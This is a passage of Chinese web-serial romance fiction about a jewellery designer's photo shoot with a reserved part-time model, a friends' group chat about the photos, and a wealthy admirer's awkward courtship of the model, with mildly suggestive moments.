涂美仪毕业后回国和朋友一起开了家3D打印饰品工作室,主要是接定制,但偶尔也会批量生产特定品类饰品进行售卖,这次她们设计了一款骨骼身体链。
为了给这款链子拍摄商品图和推广,在模特的选择方面下了大功夫,好不容易找到了一个身材不错,也自带流量的博主,明明前期沟通也很顺利,拍摄的时间也确定了下来,结果临门一脚的时候博主反悔了。
给出的理由是他的女朋友不允许他在一个陌生的女孩子面前裸露着身体还得被随意摆布。
涂美仪:?
神经病吧。
涂美仪天没亮就来到工作室布景,就等着人来,结果人没了。
她大无语,找姑妈狠狠大肆吐槽,结果她姑妈反手给他推荐了一个人。
小玲姐:“你那个拍摄露不露脸呀?我认识个男娃,身材很好咧,不过就是不喜欢被人拍脸。”
涂美仪一听,问她姑妈:“有照片吗,我看看身材行不行。”
没想到小玲姐给她掏出来一个刚开业没多久的海洋馆的宣传短视频。
小玲姐:“你看看里面在游的男人鱼符不符合呢。”
涂美仪点开视频,就被腹肌糊了一脸。
拍摄的人非常刻意,先是怼着表演者的胸肌腹肌拍了一通,然后又拍了几个全景,全方位展示表演者身体各处和灵活的表演动作,生怕刷到这条视频的人不知道他们馆里有一尾从亚特兰蒂斯里游出来的海洋神。
这时小玲姐又发来消息:“好看吧?”
涂美仪非常满意,尤其是那头自然的黑发,让她爱得要死,一瞬间脑子里冒出了各种造型和拍摄构图,让她巴不得现在就把人抓来狠狠拍。
她让小玲姐帮忙问问今天下午一点左右有没有时间,正好她现在灵感大发。
没过多久,小玲姐就带来了好消息。
*
江瑶浪早午餐是在工作室附近的商场吃的,他点了份三文鱼茶泡饭,慢条斯理地吃完也就刚过十二点。
他吃着糖在商场漫无目的地溜达了一会当消食,走进精品店给妹妹选了两个发圈,然后提前来到了工作室。
涂美仪的工作室叫“oioi”,江瑶浪看着这个极具氛围感的木制门头牌,但是搭配着潦草的手写“oioi”,忍不住低声笑了一下。
没有门铃,所以江瑶浪抬手敲了敲,结果门没锁,平稳地开了半扇。
江瑶浪弯腰探进去小半个身子,喊了声:“嗨,有人吗?”
很快,一阵略显急促的脚步声就从拐角传来。
*
涂美仪一出来就看到门口探出一个猫猫头,她招呼江瑶浪进来:“进来呀,杵在门口干嘛。”
江瑶浪进了门,正准备关门的时候,问了一句:“今天只有你一个在吗?”
涂美仪不解,她说:“对呀。”
江瑶浪了然,把门完全打开:“那门就开着吧?”
涂美仪这次是真的愣了下,她失笑:“你是我姑妈推过来的,我还能不放心你嘛,门开着就开着嘛,都可以的。”
江瑶浪点了点头,说:“开着吧,接下来我要做什么?”
涂美仪高深莫测地托着下巴,围着江瑶浪看了一圈,然后把他带进里面已经布好景的摄影区,接着下令:“脱衣服!”
江瑶浪:“?”
涂美仪补充:“上身就行。”
江瑶浪正准备脱,结果涂美仪又补充了一句:“你没有女朋友吧?”
“啊?”江瑶浪疑惑,回答,“没有。”
“男朋友呢?”涂美仪追问。
“暂时也没有。”江瑶浪不解但听话。
涂美仪欣慰地叹气:“请脱,我去拿链子。”
*
涂美仪把身体链从人台上拆下来,又拖了张小椅子到江瑶浪身旁,然后站上椅子,她递给江瑶浪几段类人脊骨形状的金属色饰品,让他先拿着。
江瑶浪一开始以为是钢或者是其他金属,拿上手才发现很轻,他问涂美仪这些是什么材质,为什么像金属但是又没那么重。
涂美仪示意他低头,一边给他带上一指粗的金属绕线项圈,一边解释:“这个是树脂,不过做了电镀效果,好看吧?”
江瑶浪大概拼了一下几块脊骨,因为是打印出来的制品,所以造型极为大胆,也更加精确地还原了设计的细节,细细的骨刺也被完整保留,加上电镀工艺效果,整段脊骨由灰黑渐变到亮蓝,在摄影区较暗的灯光下显得流光溢彩。
“很好看,我都没见过这种饰品。”江瑶浪真心夸赞。
“哼哼,现在你不仅见到了,还成为了第一个戴上它的人。”涂美仪手没停,项圈戴好后,她又拿起几条长短不一的细链,先把一端固定在项圈上的孔洞,然后让江瑶浪把脊骨递给她。
涂美仪在后颈处的项圈预留孔上挂了个嵌了白欧泊的连接扣,然后把第一段脊骨拼了上去,而后每段脊骨的连接处也都被她添加了一个或者多个白欧泊连接扣,如此,拼装完成的饰品恰恰好覆盖完全江瑶浪的背沟。
涂美仪满意地打量自己的作品,肌群起伏的粉白后背配合着一条分段式的金属色渐变脊背状饰品,整体由粗变细,最尾端的是水母触须般的不规则透明多面体,指向更隐蔽的身体深处,闪着虹彩的白欧泊熠熠生辉。
拼装好难度最大的脊骨,涂美仪拿起剩下的细链,一条条挂好,使其错落地垂在肋间。
完事后她跳下椅子,走远了两步仔细端详穿戴后的整体效果。
“还好当初设计的时候就想好了能分段,配着宝石的效果真不错啊。”涂美仪先是夸了下自己的天才设计,然后又接着夸江瑶浪,“帅哥你这个身材真是恰到好处,比我先前找的那个还要好,太适合这条链子了。”
江瑶浪像个人偶一样被摆弄了大半天,但是具体的效果是啥样他也不太清楚,只觉得腰间被链子蹭得有点痒,听到涂美仪夸他身材好,也只是点点头。
涂美仪继续打量了两分钟,然后找出来一个珊瑚状的臂环缠绕在江瑶浪的大臂上,又让他一手戴了一个珊瑚花戒指。
结束后涂美仪问他:“帅哥你有耳洞吗?”
江瑶浪摇摇头,说:“我妈不让打。”
“我这也没耳夹……算了没事,给你头发做个造型吧。”涂美仪不知道又来了什么灵感,让江瑶浪坐下,然后手法娴熟地给他扎了个松松散散的双鱼骨辫。
“OK,你把辫子搂在胸前,然后坐在那边的地毯上等我。”涂美仪确定好了整体造型,准备拍摄。
她拿来相机的同时还带了一大块素色的棉麻布料,她让江瑶浪把裤腿卷一卷,露出小腿,然后用布料随意点包裹住裤子,只要别让裤子露出来就可以。
江瑶浪沉默着照做。
涂美仪先拍的是后背的特写,她让江瑶浪背部用力,配合着分割光,半片背部彻底隐入黑暗,剩余的半片因为主人的发力,肌肉如山峦般连绵立体,细细的金属链随意分布,如同天然形成的溪流。
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在黑与白的分割线中,白欧泊闪烁着连接着非人的金属脊骨,细小的尖刺浅浅戳入皮肉,留下点点薄红,整体画面透出一丝威胁性和浓厚的神秘感。
“很好,”涂美仪确认了相机里定格的画面,然后让江瑶浪换个姿势,“你的下半身不动,上半身向右扭,然后双臂撑地。”
江瑶浪还是沉默着照做。
涂美仪又是很迅速地拍好了想要的画面,接着让江瑶浪蜷缩着半侧躺在地面上,双手做出向上攀爬的动作,她准备拍一个大特写。
这个动作结束后又指挥着江瑶浪换了好几个姿势,这才把她想要的画面拍全。
*
直到涂美仪帮江瑶浪把身体链取下来后,江瑶浪才终于松了口气。
他觉得这种拍摄比在海洋馆游一整天还累。
主要是单独和女孩子待在一起,太不习惯了。
两人都不是话多的,进入了工作状态的涂美仪更是严格,拍摄期间,存在于两人之间的除了快门声就是涂美仪简短的指令。
江瑶浪拆掉辫子,穿上衣服,背上包就准备和涂美仪道别。
涂美仪显然是很满意他的状态,跟江瑶浪交换了联系方式,很爽快地给他转了高于市场价的工资,又给他送了个水性喷涂的水母群发夹,表示下次还有兴趣的话可以继续来给她当模特。
江瑶浪看着打过来的钱,说:“你怎么和小玲姐一样都喜欢多转。”
涂美仪一挥手,漫不经心地说:“反正赚得也多,而且你就是让我很满意嘛。”
话题回到饰品上,江瑶浪倒是又有了点兴趣,他问涂美仪:“今天那条链子,售价大概是多少啊?”
涂美仪也不藏:“售价的话要到一万了,哎,毕竟成本在这里。”
“这个定价……买的人多吗?”江瑶浪有点忧心。
“说实话,很少,所以我们主要还是接定制单,偶尔卖点量产小饰品,像这种这么大的还是第一次进行售卖。”涂美仪耸耸肩,“反正也不指望它赚大钱,我只是想炫技,让那些抄袭狗连抄都抄不会。”
“还有抄袭的啊?”江瑶浪问。
“有啊,小饰品的建模很简单,复刻起来也不难,一个品火起来了,用不了多久,满世界都是和这个品大差不差的仿品,挺讨厌的。”涂美仪解释,接着她又说,“所以还是接定制好啊,虽然有的甲方傻逼,但是起码自己的创意不会被人偷去。”
江瑶浪点头表示肯定,随后他说:“那没什么事情的话我就先走了?”
涂美仪爽快放人:“好嘞,等片子修好了我也发你一份看着玩,哦对了,宣传的时候,要带上你的名字吗?”
“不用了吧,我目前不打算从事这行业。”江瑶浪果断拒绝。
“哈哈,我看出来了,你挺尴尬的,不过确实很敬业。”涂美仪表示理解。
互相道别后,江瑶浪离开了“oioi”工作室。
*
重新回到商场门口,江瑶浪看了看时间,虽然前期准备的时间不短,但是涂美仪的业务能力确实很好,现在还不到四点。
这个点……不饿,也没到家教的时间,于是江瑶浪找了个咖啡厅坐下,然后从包里掏出教案,围绕着家教小孩今早问的那个知识点衍生着找了一些题。
重新回到自己擅长的领域,江瑶浪觉得无比畅快。
当模特拍摄什么的,还是太尴尬了。
哪怕下次小玲姐再来找他。
他也一定要拒绝。
8. 第 8 章
二十点十六分。
群聊:钱砸群里听个响(6)
【超模玉玉】:[图片1]
【超模玉玉】:[图片2]
【超模玉玉】:[图片3]
【超模玉玉】:各位请欣赏!
【早安小宝】:[图片]
“早安小宝”撤回一条消息
【早安小宝】:呵呵不如一根。
【超模玉玉】:我擦李聿鸣你有病吧?
【超模玉玉】:什么傻狗名字= =
【超模玉玉】:你发个糊的要死的背干嘛?[流汗黄豆][流汗黄豆]
【小春小春】:什么背?
“小春小春”引用“超模玉玉”的[图片3]
【小春小春】:这张不错,腰细胸圆,微信推一下。
【早安小宝】:[图片]
【早安小宝】:呵呵。
“早安小宝”撤回一条消息
【小春小春】:?
【小春小春】:看到了,这个微信推一下。
【小春小春】:@早安小宝 谢谢。
【早安小宝】:滚[炸弹][炸弹][炸弹]
【早安小宝】:这是我家小宝。
【早安小宝】:给你们看两眼算我大方。
【小春小春】:@S. 出来踢人。
*
单承言收到艾特的时候,还在姐姐家给单诺真画手抄报。
单承言弹了弹A3尺寸的画纸,指着技法精湛的儿童画,对单诺真说:“你舅我从来不接单,知道不?”
单诺真翻了个白眼:“哦。”
单承言:“你得给报酬吧。”
单诺真不为所动:“哦。”
单承言:“上次小人鱼那个珍珠,你给我。”
单诺真:“你要棒打鸳鸯?”
单承言黑线:“什么玩意。”
只见单诺真嗖地站起身,作西施捧心状,满眼是爱慕:“我对人鱼公主一见钟情二见倾心,如今已是情根深种!人鱼公主赠我宝物珍珠,我怎可辜负他的一片真心,将我俩的定情信物给予你这妖言惑众的奸诈小人!”
讨要珍珠不成,单承言也懒得帮她画线,他把尺子一放:“你自己画线,敢画歪我半夜往你头上夹满粉色蝴蝶结。”
单诺真神气极了:“早该我来了!你画线画这么密,我还得多写字。”
“呵呵。”单承言无语。
*
在单诺真接力完成手抄报的时候,单承言掏出手机查看消息。
距离苏仰春的艾特已经过去了一段时间,群里又刷满了信息和表情包,主要是宋流玉和李聿鸣在互骂,而苏仰春隔岸观火,还时不时倒油,显然是吃瓜吃得很快乐。
单承言先看了下艾特的原因,然后就被那三张裸半身牢牢吸引了目光。
江瑶浪自己可能不知道,他上身其实有三颗痣,一颗在鲨鱼线上,还有两颗落在竖脊肌处,那两颗痣恰好还是平行分布,像一双圆润的豆豆眼。
所以单承言对比了一下这三颗痣,再加上那头特别的黑卷发,一瞬间就确认了这个模特是江瑶浪。
他放大照片然后慢慢划拉着细看,摄影师的技术确实不错,把江瑶浪的□□拍得非常美丽,确实如苏仰春形容的那样,胸圆腰细,感觉一手把握不住,但却能一手轻易地掌握,很欲,但不色情,尤其是被饰品上的小刺弄出来的点点红痕,让人……兴致盎然。
单承言把三张照片存进相册,低咳了一声,换了个坐姿,还装模做样地探头看看单诺真画的横线,并嘴贱吐槽她画的是斜线。
接收到单诺真递过来的无语目光攻击,单承言滴血没掉,又拿起手机爬楼,很快地了解了前因后果。
其实就是宋流玉很喜欢的一家饰品工作室发了新品预告,满眼都是身体链的宋流玉异常激动地把图片发群里试图得到肯定,结果抽风的李聿鸣莫名其妙开始了攀比模式,不仅发了又秒撤秦小添的身材糊图,还库库发自己的身材照,非要证明他们俩连身材都如天造地设般般配,他们两个无敌完美。
宋流玉也不堪示弱,虽然他的身材没有这些人有料,但是架不住他会穿搭和凹造型,发出来的照片质感十足,完全不是李聿鸣这些直男随手拍能比的。
于是话题彻底从饰品歪到了身材,苏仰春还时不时地讨要江瑶浪和秦小添的微信,把李聿鸣气得自闭。
单承言决定加入战场。
他也往群里发了张腹肌照。
*
群聊:钱砸群里听个响(6)
【S.】:[图片]
【S.】:我练得也不错啊。
【超模玉玉】:[点赞][点赞]
【超模玉玉】:甜哥的身材确实好还会拍[点赞][点赞]
【早安小宝】:……
【S.】:不服把你踢了@早安小宝
【早安小宝】:哥比你壮。
【S.】:你那些大块肌肉有美感?
【小春小春】:所以宋流玉能把模特的微信推一下吗?
【S.】:?
【小春小春】:我们女生还是更喜欢这种身材[害羞]
【超模玉玉】:给小春姐指路!@oioi工作室
【超模玉玉】:不过好像没公布模特。
【小春小春】:[拜拜][拜拜][拜拜]
无人知晓模特的联系方式,单承言不由得有点得意。
他退出群聊,翻出来近一星期没沟通的江瑶浪的微信对话框。
单承言想开启话题,但是犹犹豫豫,敲敲打打了大半天也没发出去一个字,烦恼地敲击屏幕,反而无意拍了拍江瑶浪。
【我拍了拍“不要柠檬”的糖罐并掉落两颗柠檬糖】
“我靠。”单承言急了,刚想撤回,结果被江瑶浪出乎意料的回复打了个措手不及。
【小人鱼】:?
单承言不知道该回什么。
如果干巴巴回一个点错了,那看起来很傻。
不回的话更是不行的。
突然,他瞄到了单诺真,急中生智,迅速找到了话题。
【S.】:单诺真说想给你回个礼。
【小人鱼】:什么?
【S.】:就是上次你送她的珍珠。
【S.】:她特别喜欢,然后想给你也送一份礼物。
【小人鱼】:不用了吧,又不值钱。
【S.】:小孩是这样的,你明天在海洋馆吗?
【S.】:我们来找你?
【小人鱼】:明天我不下水。
单承言觉得很可惜,但他也没放弃邀请。
【S.】:或者我们约着吃个饭呢。
【小人鱼】:[定位]
【小人鱼】:那你带她来这里吧,我请你们吃蛋糕。
【小人鱼】:下午我都在。
【S.】:好啊,那就明天见。
【小人鱼】:[OK]
*
如愿约上的单承言心情大好,但这人装惯了,面上也没什么表现,行动倒是非常迅速。
先是在发小群里发了一通红包,终止了战争。
众人问他怎么突然抽风,他也只是回了个墨镜emoji。
然后他又凑近单诺真,看她磨磨蹭蹭地还在画线,于是让她麻溜让位,自己拿过笔刷刷刷就把剩下的画完了,又直又好。
单诺真看他如此反常,一针见血:“你是不是做什么对不起我的事情了。”
单承言只在心里夸她帮了大忙,但明天能和江瑶浪见面这件事,他肯定也是不会说出来的,带着干嘛,打扰自己和江瑶浪的约会吗?
他又不是蠢。
所以单承言只是神秘地笑了笑,然后
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回了句“我看不过眼”。
*
夜深人静的时候,单承言还躺床上浏览着送礼帖子。
约是约好了,但是送什么礼物……
这也是真的烦恼。
看礼物推荐看得心烦意乱,网友推荐的都是什么网红东西,也不值钱,给江瑶浪用还拉低气质。
他也不能问他那群发小,八字没一撇的事情还要被八卦来八卦去,也很烦。
找着找着,他突然又想起了那三张裸照,然后他点进搜索栏输入“oioi工作室”,很顺利地找到了那家饰品店。
但是可惜的是,因为是上新预告,所以店主放出来的照片也只有三张。
单承言给店铺加了个关注,然后又点开照片开始看。
然后他认输般叹气,决定遵循欲望。
事后,单承言开始反思并做出结论。
这条小鱼不知道在什么时候就钻进了自己的脑海,日常都在安安静静地潜伏,而每当深宵寂静之际,在想干点坏事的时候,他就这么大刺刺地浮起来,朝自己得瑟地吐泡泡。
“坏鱼坏鱼。”单承言轻声喃喃。
*
无辜的江瑶浪和往常一样。
周六早上买菜、打扫卫生,然后下午去小玲姐店里帮忙。
今天店里不忙,小玲姐放心地把店交给江瑶浪打理,自己则跑出去和小姐妹吃瓜八卦。
一直没什么客人,江瑶浪就给自己冲了杯咖啡,打好了奶泡,准备练习一下新的拉花图案。
直到一阵撕扯空气的跑车声浪唤起注意,江瑶浪手没停,还在继续完成手上的咖啡拉花,但迅速扭头看了一眼,就见一辆白色的跑车停止低吼,停在了店门。
等他完成拉花转身的时候,恰好与推门而入的单承言对上了视线。
*
下午两点左右,单承言开着他的玛莎拉蒂MC20驶入这个老小区,冰川皓白磨砂漆在光照下泛着莹莹蓝光,加装了碳纤维套件、改装了轮毂的超跑少了几分原厂的优雅,却更激进战斗,让人一眼便能识别出这辆车的车主是一位追求刺激的年轻人。
他把车停在“玲姐甜品”的门前空地,拿好东西下车锁车。
单承言今天把刘海后梳,配合着被剃得极短的后颈头发,显得攻击性十足,但他又穿了件显得温和的咖啡色竖纹长袖衬衫用以中和,却矛盾地没把最顶上的扣子系起来,坦然的露着锁骨,衣袖松松垮垮地折了两折,展示出大半截线条流畅的小臂。
下身着布料极好的白色垂感休闲西裤,视线再顺着长腿向下看,鞋子是一双色调比衬衫稍沉的黑棕色倒钩。
手腕上戴着一只黑色碳纤维的腕表,是宇舶刺青二代,个性动感,贵价的限量表下的手勾着一个纸质小礼袋。
*
在还未进入店面的时候,他就已经看到背对着门微微弯腰工作的江瑶浪,围裙的结系得有点紧,勾勒出玲珑的腰线。
推开门后,他与江瑶浪对上了视线。
昨晚还在梦里捧着自己的脸黏糊糊地亲,赤裸着跨在自己腰上慢条斯理摇动的人就穿着围裙,扎着学长高马尾站在自己面前,招手让自己过去,给他递了一杯刚做好的热拿铁,然后轻声问他想要吃什么。
他甚至还低头寻找了一番,微皱着眉问自己:“真真呢?不是说一起过来吗?”
而单承言只顾着看咖啡面上的压纹玫瑰拉花,直到江瑶浪不耐地敲了敲桌板。
他才把早已准备好的借口掏了出来:“哦,她作业没做完,他妈妈临时把她抓走了,送礼计划被迫减员。”
闻言,江瑶浪说:“时间不合适的话,其实改约也不是不行吧?”
结果单承言又掏出一个解释:“可是礼物我们都做好了呀。”
单承言先是把咖啡小心翼翼地放在柜台,然后提高手上拎着的小袋子递给江瑶浪,说:“看看喜不喜欢。”
9. 第 9 章
江瑶浪接过袋子后没有立刻打开,而是先走去蛋糕柜台给单承言装了一角减糖的豆腐芝士蛋糕,随后拿了一个小托盘把蛋糕和咖啡都装好,走出吧台。
单承言跟在江瑶浪背后,然后一起坐在窗边的小桌子。
江瑶浪把托盘推给单承言,说:“豆腐芝士蛋糕,这个你能吃吧?减了糖的,而且是燕麦底。”
单承言看着放在他面前奶呼呼的蛋糕,内心纠结了一番,还是决定放纵一次:“能吃,这有什么不能吃的。”
他拿起叉子挖了一小口送嘴里,能吃出材料都是极好的,也没有意料之中的甜腻,单承言真心夸赞:“很好吃。”
收到了正面的反馈,江瑶浪有点小得意,说:“那当然,小玲姐为了我特意改了配方。”
单承言打趣:“那我这算是抢了你的食物吗?”
“算不上,反正也是摆出来卖的。”江瑶浪很大方。
安排好了单承言,江瑶浪才拆开礼袋查看礼物。
礼袋里面就放了两件物品。
由紫罗兰和白色郁金香构成的手拿小花束,以及一个复古油画铁盒。
江瑶浪先把花束拿出来把玩了一圈,小小的,恰好戳中了他的审美点:“这么小的花,是谁的主意呀?”
江瑶浪翻看的时候单承言一直用余光注意着呢,他说:“好看吗?我选的。”
“很可爱,只有这么一点点。”江瑶浪笑着伸出手指比划了一下,又忍不住再夸了一句,“真的好可爱。”
又转了两圈以后,他才把花放回袋子里,然后拿出小铁盒。
铁盒是翻盖设计,只有半个巴掌大,打开后映入眼帘的是盖子内的一小幅油画,画上的内容是他的微信头像——一颗戴着小皇冠的橙子糖。
而盒身里面满满当当地挤着一颗颗由玻璃制成的糖果,全部都流淌着琥珀般的蜜心,暖橙被一层薄而立体的透明玻璃糖衣包裹,流光溢彩,比儿时最爱收藏的彩石头更让人心喜。
是橙子糖,江瑶浪喜欢吃的那款橙子糖,大小和颜色都几乎无异。
江瑶浪把这些糖倒进手心,与暖色相反,第一触感是沉沉的凉意,但它们在手心欢快地反射光线,让虹光跳跃。
他数了数这些玻璃糖,一共是七颗,细看能看出烧制的人手艺一般,几乎都有一些细小的裂痕,但这已经足够让人惊喜。
说实话,在看到昨晚的信息的时候,江瑶浪有想过礼物是什么。
按照小孩子的喜好,估计是给自己送一些玩偶或者零食之类的,所以她约在了小玲姐的门店,也是存了交换食物的心思。
结果他没想到闹着来见他的小女孩没来,收到的回礼是花了心思的手工制品。
不管是花还是玻璃糖,或者是那副小而精细的油画,付出更多时间与精力的显然不是单诺真。
虽然他没想明白单承言为什么要这么做,但这不影响此刻的心情。
起码在收到这份礼物的时候,江瑶浪是真心实意的开心。
他笑眼弯弯,好看的唇勾起愉悦的弧度:“谢谢你们呀。”
单承言歪头咳了一下,试图减少那张存进心里的笑颜对自己的影响。
他说:“不客气。”
然后追问:“所以为什么不想要柠檬?”
江瑶浪似乎是有点意外他会问这个问题,他从围裙前面的小兜里摸出一颗柠檬味的糖放进了单承言的小托盘里。
江瑶浪说:“没有为什么啊,就是不太爱吃这个味道,但是又不能只买橙子味的。”
然后他神神秘秘地说:“我也有一个糖罐子,不过里面有柠檬糖。”
单承言自信接话:“我知道,我看到了你的拍一拍,所以没做柠檬味的。”
“嗯哼,”江瑶浪赞许地点点头,“确实啊,打开看到里面都是橙橙的,心情都好了,感觉好运扑面而来。”
味道和运气挂钩的理论单承言还是第一次知道:“所以糖的味道还决定了是否倒霉吗?”
江瑶浪听到这句问话,心情明显有点低落,不过他很自然地变换了神色,也转移了话题:“这些糖做了多久啊?是你自己做的吗?”
“我不太熟练,烧一颗大概半小时吧。”单承言注意到江瑶浪那一瞬的落寞,很识趣地没有追问,而且顺着他的心意接话。
“这个确实是要复杂些,我之前带小清也去玩过灯工玻璃,烧的是海洋球。”江瑶浪说,“不过因为海洋球很简单嘛,一小时烧了四个呢。”
“海洋球很好看啊,波光粼粼的。”
“那些波光都是用挖耳勺一样的小勺子拍出来的,没想到吧。”
“真的是挖耳勺吗?”
“唔……”江瑶浪回忆,“反正形状差不多。”
他们就这个话题又聊了一会,直到小玲姐推开店门。
“小浪——我回来啦。”
小玲姐出去一趟,成功揣回来一肚子瓜,真准备和江瑶浪分享呢,就看到自己店里也来了个新瓜。
她走近江瑶浪和单承言落座的桌子,笑眯眯地看了两眼单承言,然后问江瑶浪:“小浪,这是你新男朋友不?”
“哦哟帅的咧,比小魏还要俊。”
听到内容的两人均是一僵。
江瑶浪是感到尴尬,他迅速跟小玲姐解释,澄清误会:“不是不是,就是一个朋友,来找我玩。”
自知自己闹了乌龙的小玲姐也是很快向单承言道歉,又说:“哎呀我就说嘛,小浪要是谈恋爱了,我怎么会不知道嘛。”
江瑶浪很顺从:“对对,以后交新的了一定第一时间带给小玲姐过目。”
提到前男友,小玲姐又想八卦两句,她拉了张椅子坐在江瑶浪旁边,小声地问:“那小魏现在咋样啦?”
江瑶浪:“还在美国呢,不过好像交新男朋友了。”
“哎呀,多可惜呀,要不是……”想到什么,小玲姐吞下了后半句话,换了句,“小魏人也是挺好的。”
“这没办法嘛。”江瑶浪笑笑。
*
小玲姐和江瑶浪在聊前男友的时候,单承言在心里窝着火。
前男友?单承言不喜欢这个词。
占有欲不知从何而起,但只要想到江瑶浪曾经属于另一个人,甚至在被放弃后仍然与前任保持联系,他就非常、非常不爽。
以及自己莫名其妙成为了被对比的一方。
甚至没有得到一个压倒性的评价。
他突然觉得很没劲。
于是单承言起身,连借口都懒得找,和两人简单道别后便离了店。
*
小玲姐见单承言生硬地离场,懊恼地说:“我是不是说错话啦?”
江瑶浪把刚沾上温度的玻璃糖放回铁盒里,开玩笑般对小玲姐说:“说不定是他恐同呢,知道我有前男友就被吓跑啦。”
“哎呀,他是直男呀?”小玲姐惊讶,但下一秒就开始训斥,“直男还给你送什么礼物呀!”
江瑶浪耸耸肩,随意笑笑:“不知道呀,可能这就是直男的把戏吧。”
小玲姐是真的很疼江瑶浪,也正因此,因自己的莽撞而导致江瑶浪为难,虽是无心的过失,但她仍然不好受。
江瑶浪注意到了,于是他牵起小玲姐的手摇了摇,再次强调:“真
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的不是什么重要的人。”
“好好好,我们不管他。”小玲姐回。
“嗯嗯。”
*
上次见面不算愉快,再加上两人后来也没什么联系,单承言没有在这里堵自己的理由,所以江瑶浪路过单承言的车时脚步没停,径直往校门走去。
结果身后传来重重的关门声,紧接着右臂被单承言宽大的手掌牢牢紧握。
于是江瑶浪转过身与他面对面。
“现在有空吗?”单承言墨镜没摘,神色不明。
江瑶浪不是一个喜欢拖着的人,有事情弄不清楚他自己也难受,恰好接下来没有事,所以他转身面对单承言,回复:“我有空的。”
“那你要和我去吃烧鸟吗?”
“什么?”江瑶浪已经做好了开始一段谈话的准备,只是没想到收到的是吃饭的邀约。
“烧鸟。”单承言再次重复,“上次我和你说过的,有一家很好吃的烧鸟。”
江瑶浪轻轻叹了口气,把单承言的手从自己的手臂上拿下来,回复他:“那走吧。”
两人上了车,江瑶浪刚系好安全带,车就已经向前飞驰。
车内没有播放音乐,沉默蔓延,单承言开车倒是张扬,逮到机会就左穿右插,环绕的声浪以及左右摇晃的视野让江瑶浪心跳加速,掌心冒汗。
坐在这种速度极快并且空间狭小的跑车上,不论是生理还是心理都让江瑶浪难受得想吐,他试图通过玩手机转移注意力,但是效果甚微,最后也只能默默捏紧了安全带,闭眼忍耐。
而单承言的心思都在超车变道上,完全没有注意到坐在他身旁的人已经紧张得身体蜷缩。
直到下车以后,单承言看着江瑶浪苍白的小脸以及被汗湿的发根,他才后知后觉:“你是晕车吗?”
江瑶浪从包里掏出水喝了一小口,咽下去后回:“可能是玩手机的原因吧,没什么事,我们进去吧。”
单承言信了,于是带他走进了烧鸟店。
这家店叫野蘑菇,店面很小,只有围着烤架的一圈吧台,店内仅有的厨师就是老板本人。
店小但是生意异常红火,而且不接受预约,如果是正常情况,此刻早已满员,他们俩想吃上的话起码要再等两轮。
单承言怎么可能让江瑶浪等位,在决定来学校堵人的之前,他就已经和老板说好了包场,让老板今晚不要接待其他客人。
所以此时的店里,除了作为厨师的老板,就只有他们两个人。
坐下后,单承言给江瑶浪递了张菜单,让他勾选自己想吃的串。
但江瑶浪其实还在晕着,菜单不大但上面密密麻麻都是字,他不想看,所以对单承言说:“我没什么不爱吃的,你看着点吧。”
于是单承言干脆让老板自己发挥,他烤什么就吃什么,只点了两杯饮料,一杯是酸梅气泡水,一杯是乌龙茶。
饮料上得很快,单承言把酸梅气泡水放在江瑶浪手边,自己则是喝了一口乌龙茶。
放了冰块的气泡水冒着细小的气泡,里面泡着半颗小青桔,江瑶浪尝了尝,把头侧向单承言:“酸梅汤的味道。”
为了营造氛围,店内只在吧台开了两盏灯方便厨师烹饪,昏黄的光洒在江瑶浪的侧脸,像是给他打了一层柔光滤镜,朦朦胧胧,美得梦幻。
单承言又看呆了。
他听到江瑶浪又在轻轻叹气,他的手被江瑶浪牵了起来,指引着触碰上江瑶浪凸起的喉结。
“单承言,我是男的。”
单承言已不太能思考,只能感受到在指尖缓慢上下滑动的喉结。
他想咬一口。
10. 第 10 章
“我知道,怎么可能错认。”单承言先一步缩回手,转过头不再看向江瑶浪。
他继续说:“只是想感谢你的照片,我总不能还不如小孩懂事吧。”
江瑶浪也将手收回,拿起气泡水喝了一口:“嗯,那挺好的。”
*
回程的时候,单承言刻意降了速,注意力不再全部放在路面,时不时扭头察看江瑶浪的状态。
然后被江瑶浪赶了回来。
为了打破沉默以及防止单承言没话找话,江瑶浪提出不如放点音乐。
单承言问他想听什么。
江瑶浪想了想,说:“方大同吧。”
趁着等灯的间隙,单承言点进去方大同的音乐人主页,开始全部播放。
清澈细腻的男声和着抒情的律动流淌在这个不大的空间,听着熟悉的歌声江瑶浪得以获得一丝放松,他想稍微坐直一下身体。
却发现舒展不开,不是顶脚就是顶头。
于是在下一个红灯之时,江瑶浪对单承言说:“你这个车,顶能开吗?”
单承言沉默片刻,说:“这辆不能,是硬顶。”
“所以为什么你们会喜欢开超跑呢?缩着也不太舒服吧。”江瑶浪真情实感地疑惑。
这回轮到了单承言叹气:“因为帅啊。”
江瑶浪笑了出声:“换辆大点的呗,比如……唔,上次酒吧门前那辆红色的SUV,也很帅啊。”
听到这话,单承言不乐意了,但是气不能往江瑶浪身上发,所以无辜的方向盘成了发泄对象,他甚至还大度地说:“你喜欢那辆?”
“都一般吧,反正也买不起。”江瑶浪情绪化地皱了皱鼻子,垂下眼睑掩盖住眸底的厌恶。
此时绿灯亮起,单承言还想继续说,但是被江瑶浪制止,而后半程一路通畅,直到重新停在了学校门口,单承言才等到了发言的机会。
“我其实很少开车的。”单承言双手离开方向盘,放松地搭在大腿上。
而江瑶浪也解开了安全带,微微斜着身体靠在车门处,他看着单承言,示意他在听。
“自己一个人的出行的话肯定还是骑车啊。”
“这么喜欢?”江瑶浪接话。
“最开始其实一般,都是陪朋友骑着玩,后来他们又开始玩赛车,不过我觉得赛车没骑车有意思,就坚持骑了下来,没想到参加比赛还能拿到些成绩。”单承言简单说明。
“不知道你有没有那种感受,就是一旦你在某件事上面取得一点成就后,就会想更加着迷地专研,所以后面我又迷上了涂装,根据自己的喜好给自己打造独一无二的车。”
“骑着这种车在路上疾驰,用身体切开风,心情愉悦。”
实话是,江瑶浪无法理解这种有爱好的感觉,对他来说对某件事起兴趣已经是遥远到模糊的事情了,勉强苟活的这几年,使他对所有事情都兴趣缺缺,但这种扫兴的话他也不至于说出来。
所以他依旧是顺从地沿着话题回:“肯定多多少少都会有的吧,哪有人会不喜欢自己成功的。”
“其实就是喜欢自己被肯定的感觉。”江瑶浪下定义。
单承言十分赞同,继而又对江瑶浪发出邀请:“你明天要来我家看看吗?或者是我的工作室,我教你改色。”
面对邀约,江瑶浪只是抱歉地笑笑,然后果断拒绝:“我明天还有工作,可能不太方便。”
又一次收到拒绝,还是一样的借口。
缺钱的话,为什么不能找他要呢?
就像李聿鸣的小主播一样,明明开口他就会给啊。
跟着自己吃喝玩乐,还能拿到更多的钱。
这样不好吗?
不理智的话在脑子里转了几圈,最终还是忍不住脱口而出。
“你……”
“如果没什么事的话我就先回去了?”
